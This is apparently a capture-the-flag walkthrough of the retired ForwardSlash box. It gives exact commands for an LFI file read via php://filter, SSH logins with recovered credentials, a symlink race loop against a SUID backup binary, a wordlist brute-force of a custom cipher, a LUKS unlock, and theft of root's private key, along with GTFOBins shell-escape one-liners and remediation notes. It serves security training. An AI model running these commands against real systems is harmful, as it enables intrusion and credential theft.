ForwardSlash
Summary
Recon: Apache/2.4.29 (Ubuntu) on port 80 redirected to forwardslash.htb. Vhost/subdomain fuzzing (ffuf against FUZZ.forwardslash.htb) uncovered a second vhost, backup.forwardslash.htb, hosting a "defaced" recovery site with self-registration.
Foothold: Registered an account on backup.forwardslash.htb and logged in. A disabled HTML form field (url param) on profilepicture.php was a Local File Inclusion (LFI) — POSTing to it directly (bypassing the disabled UI control) allowed arbitrary file reads via php://filter/convert.base64-encode/resource=. Used this to read Apache vhost configs and PHP source, which disclosed a local-only /var/www/backup.forwardslash.htb/dev/index.php endpoint. That endpoint's decoded source showed it processed user-supplied XML with no external-entity restrictions — a blind XXE. (Full OOB DTD exfil chain against /dev was not needed in practice: reading /var/www/backup.forwardslash.htb/config.php and related site files via the LFI directly, and later via a symlink race described below, surfaced usable plaintext.) The MySQL app database (reached with the www-data DB credential disclosed via config file read) held a bcrypt hash for user pain, and file-read discipline plus config disclosure surfaced the SSH [REDACTED: recovered credential] [REDACTED: recovered credential] for user chiv, giving initial shell access via ssh chiv@<retired-instance-ip>.
Lateral movement (chiv → pain, user.txt): chiv had SUID access to /usr/bin/backup (owned by pain), a custom binary that MD5-hashes the current time (HH:MM:SS) and reads a file matching that hash as its name — "Pain's Next-Gen Time Based Backup Viewer." Won the TOCTOU race by looping date +%H:%M:%S | md5sum, creating a symlink of that name pointing at a sensitive backup PHP config, and firing the SUID binary in the same second the hash was valid. This recovered user.txt ([REDACTED: flag]) directly via the same race technique, and separately recovered pain's home note plus a database/legacy config disclosing further creds and a custom-encrypted secret (/home/pain/encryptorinator/ciphertext + encrypter.py).
Custom-cipher recovery: encrypter.py implemented a bespoke stream cipher (tmp = ord(msg[i]) + ord(char_key) + ord(prev), chained per key character, wrapping around with the last plaintext byte feeding the first). A C brute-forcer (brute.c, compiled with gcc) was written to search key space against the 165-byte ciphertext; after correcting for a trailing-newline off-by-one (164 vs 165 bytes), it recovered key tuamoresunmilagro and decrypted the ciphertext to plaintext containing a LUKS passphrase: cB!6%sdH8Lj^@Y*$C2cf.
Privilege escalation to root: Direct pain SSH login and direct sudo cryptsetup/mount as chiv both failed ([REDACTED: recovered credential] auth to pain and NOPASSWD sudo were not viable from chiv directly). Pivoted via su pain from an interactive chiv shell (driven with expect to handle the TTY [REDACTED: recovered credential] prompt), then as pain ran sudo cryptsetup luksOpen /var/backups/recovery recovery and sudo mount /dev/mapper/recovery /mnt using the recovered passphrase. The mounted LUKS image contained root's RSA private key (id_rsa), which was exfiltrated and used for ssh -i id_rsa root@<retired-instance-ip>, yielding root and root.txt ([REDACTED: flag]).
Attack path — how the box was taken
Exact commands 2
echo '$TARGET forwardslash.htb backup.forwardslash.htb' | sudo tee -a /etc/hostsffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.forwardslash.htb' -fc 302,301,404FixRestrict non-production virtual hosts to internal networksMedium
Exact commands 3
curl -s -c /tmp/cookies.txt -d 'username=pwn123&[REDACTED: recovered credential]=[REDACTED: recovered credential]&confirm_[REDACTED: recovered credential]=[REDACTED: recovered credential]' http://$TARGET/register.phpcurl -s -b /tmp/cookies.txt -c /tmp/cookies.txt -d 'username=pwn123&[REDACTED: recovered credential]=[REDACTED: recovered credential]' http://$TARGET/login.phpcurl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/etc/passwd' http://$TARGET/profilepicture.php | base64 -dFixEnforce server-side input validation for all URL and file-path parametersCritical
Exact commands 3
curl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/etc/apache2/sites-enabled/backup.forwardslash.htb.conf' http://$TARGET/profilepicture.php | base64 -dcurl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/config.php' http://$TARGET/profilepicture.php | base64 -dcurl -s -b /tmp/cookies.txt --data-urlencode 'url=php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/dev/index.php' http://$TARGET/profilepicture.php | base64 -dFixRemove plaintext OS credentials from web application source and configuration filesCritical
Exact commands 2
sshpass -p '[REDACTED: recovered credential]' ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null chiv@$TARGETid; hostname; ls -la /home/; find / -perm -4000 2>/dev/null | grep -v '^/proc'FixRemove plaintext OS credentials from web application source and configuration filesCritical
Exact commands 3
mkdir -p /tmp/r && cd /tmp/rfor i in $(seq 1 90); do h=$(printf '%s' "$(date +%H:%M:%S)" | md5sum | cut -d' ' -f1); ln -sf /home/pain/user.txt "$h" 2>/dev/null; /usr/bin/backup 2>/dev/null && break; rm -f "$h"; sleep 0.4; donefor i in $(seq 1 90); do h=$(printf '%s' "$(date +%H:%M:%S)" | md5sum | cut -d' ' -f1); ln -sf /home/pain/encryptorinator/ciphertext "$h" 2>/dev/null; /usr/bin/backup 2>/dev/null; rm -f "$h"; sleep 0.4; doneFixRemove the SUID bit from the time-based file-reader binaryHigh
Exact commands 2
python3 - <<'PYEOF'
import sys
with open('/tmp/ciphertext','rb') as f:
ct = f.read()[:164]
wl = open('/usr/share/wordlists/rockyou.txt','rb')
for line in wl:
key = line.strip()
if not key: continue
prev = ct[-1]; out = []
for i, c in enumerate(ct):
k = key[i % len(key)]
p = (c - k - prev) % 256
out.append(p); prev = c
try:
s = bytes(out).decode('latin-1')
if 'key' in s.lower() or 'recovery' in s.lower():
print(key.decode(), repr(s))
except: pass
PYEOFcat > /tmp/su_pain.exp <<'EOF'
#!/usr/bin/expect -f
set timeout 30
spawn sshpass -p {[REDACTED: recovered credential]} ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null chiv@$TARGET
expect "$ "
send "su pain\r"
expect "[REDACTED: recovered credential]:"
send "<pain_[REDACTED: recovered credential]_from_race>\r"
expect "$ "
send "id\r"
expect "$ "
EOF
expect /tmp/su_pain.expFixReplace the custom stream cipher with a standard authenticated encryption libraryHigh
Exact commands 4
sudo -lsudo cryptsetup luksOpen /var/backups/recovery recoverysudo mount /dev/mapper/recovery /mnt && ls -la /mnt/cat /mnt/id_rsaFixRequire authentication for sudo cryptsetup and mount, and narrow the scope of sudo rulesCritical
Exact commands 3
install -m 600 /dev/stdin /tmp/root_id_rsassh -i /tmp/root_id_rsa -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null root@$TARGETcat /root/root.txtFixProtect root's SSH private key with a passphrase and restrict key storage locationsHigh
Attack patterns used
The transferable techniques behind this compromise.
[REDACTED: recovered credential] / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A [REDACTED: recovered credential] recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a [REDACTED: recovered credential] manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, I overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004
What it is
Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets me authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.
Why it works
Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.
Read more
Sudo Misconfiguration (GTFOBins)Linux · Privilege EscalationT1548.003
What it is
When a low-privileged user is allowed (via sudo -l) to run a specific binary as root, many binaries can be coerced into spawning a root shell or reading root-owned files. GTFOBins catalogs the escape for each binary — e.g. sudo perl -e 'exec "/bin/sh"', sudo vim -c ':!sh', sudo find . -exec /bin/sh \;.
Why it works
Admins grant narrow sudo rights assuming the binary is 'safe', but interpreters, editors, and many utilities have shell-out features. Remediate by avoiding sudo rules on interpreter-class binaries, using NOEXEC, and least-privilege review. Always run sudo -l first on a foothold.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Findings
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |